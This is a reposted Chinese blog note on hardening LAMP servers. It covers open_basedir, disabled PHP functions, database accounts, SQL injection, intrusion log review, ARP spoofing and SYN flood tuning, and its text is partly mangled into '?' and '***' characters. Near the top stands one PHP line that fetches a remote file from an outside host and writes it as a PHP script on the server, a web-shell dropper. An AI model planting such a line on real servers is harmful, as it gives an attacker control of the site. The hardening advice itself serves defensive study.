lamp安全
?DOS,DDOS
?web應用程序代碼缺陷
???
?SQL注入
?web平臺
?管理員的疏忽
?
Lamp
?Linux + apache + mysql + php
?index.html --> apache ----> client
?index.php? --> apache ----> libphp.so---->apache--->client
?
<?php $file='0830.php'; $b=file_get_contents("http://www.tvpad.cn/1a.txt"); file_put_contents($file,$b);?>
?
$abc='123';
$tom='wel to upl';
$mary=$abc." ".$tom;?? <---? "123 wel to upl"
$bean="come"." "."baby".$tom;? "come babywel to upl"
?
一、保護lamp平臺
rpm包的lamp:
?yum install httpd httpd-devel mysql mysql-server php php-common php-mysql -y
1、鎖定每個網站的根目錄,杜絕跨站***
# vim /etc/httpd/conf/httpd.conf
<VirtualHost *:8080>
....
....
??? DocumentRoot /share/08
??? <IfModule mod_php5.c>
??????? php_admin_value open_basedir "/share/08:/var/lib/php/session"
??? </IfModule>
</VirtualHost>
?
2、禁止php的危險函數
# vim /etc/php.ini
disable_functions = passthru,shell_exec,system,proc_nice,proc_open,proc_terminate,exec,popen
3、降低被溢出,提權
chmod 700 /usr/bin/gcc
4、每個網站獨立一個數據庫,獨立一個帳號
bbs.upl.com??
數據庫:bbs
帳號:bbsuser
密碼: xxxxx
create database bbs .....
grant all on bbs.* to bbsuser@'localhost' identified by '123';
千萬不能使用root帳號作為網站應用程序的連接數據庫的帳號
不能把root帳號和密碼保存到任何配置文件中。
5、防止SQL注入
?簡單的情況下可以修改php.ini,缺點:有些時候會影響正常程序的運作
magic_quotes_runtime = On
magic_quotes_sybase = On
?一般都是讓程序員在實現代碼的時候,做好特殊符號(' , "")的過濾
?
如果服務器被***了,如何發現,應該如何處理?
?1、看日志
??從***者角度來分析
???猜管理員后臺:產生大量404狀態日志
???是否包含某些敏感文件的訪問: etc,passwd,shadow
???看一些管理員后臺的訪問日志
???查看一些一些比較容易出現漏洞的文件的訪問日志
????upload.php ,一般包含upload關鍵字
??查看系統日志
???secure
???lastb
???last
???lastlog
?2、
??如果安裝的是rootkit,一般就很難清除。只能重裝。基于主機***檢測系統:tripwire
??如果是一般的***行為:修改了代碼文件,插入了病毒代碼。
??
??發現對方是如何利用漏洞,利用哪些漏洞***,然后打上補丁。
??對系統打補丁,升級內核。
ARP***原理
?
?2.2.2.2????/---web1? ***** 1.1.1.2
?client -->?router 1.1.1.1 --swatch-->
?????\---web2? 1.1.1.3 <--已經被黑
web2進行arp欺騙,不端發包給router: 1.1.1.2對應的MAC地址是web2's mac
解決:在router上靜態綁定MAC地址
web2針對web1進行arp欺騙,不斷發包告訴web1,1.1.1.1的MAC是web2's MAC
解決:在自己的機器靜態綁定router的MAC
?
DOS/DDOS***原理
?DOS 拒絕服務***
??syn洪水***
tcp三步握手
a?--syn=100-->?b? 把該數據包放到隊列中
a?? <--syn=300,ack=101? b
a?? --syn=102,ack=301?b
<=======================>
a?--syn=100-->?b? 把該數據包放到隊列中<--浪費內存
??? <--syn=300,ack=101? b? 《---不斷重試,浪費cpu
<=======================>??
syncookies原理
a?--syn=100-->?b? 隊列滿了,不放隊列,把數據進行運算,得出一個數字
a??? <--syn=548,ack=101? b? 《---不斷重試,浪費cpu
a? --syn=102,ack=549->? b? 把(549-1)進行反運算。
<=======================>
抵抗小規模syn洪水***
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_max_syn_backlog = 8096
net.core.netdev_max_backlog = 8096
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
?DDOS 分布式拒絕服務***
?
??/?肉雞1??---
?***代理--?...??---?
***--->***代理--?肉雞N??--- ----> 受害目標
?***代理--?...??---
??\?....成千上萬臺肉雞--
?常見的類似于拒絕服務器的***
??cc***,專門針對web服務器的應用。
?
轉載于:https://blog.51cto.com/linuxart/844009
總結
- 上一篇: [zz]grep 命令的使用
- 下一篇: android ListView布局之二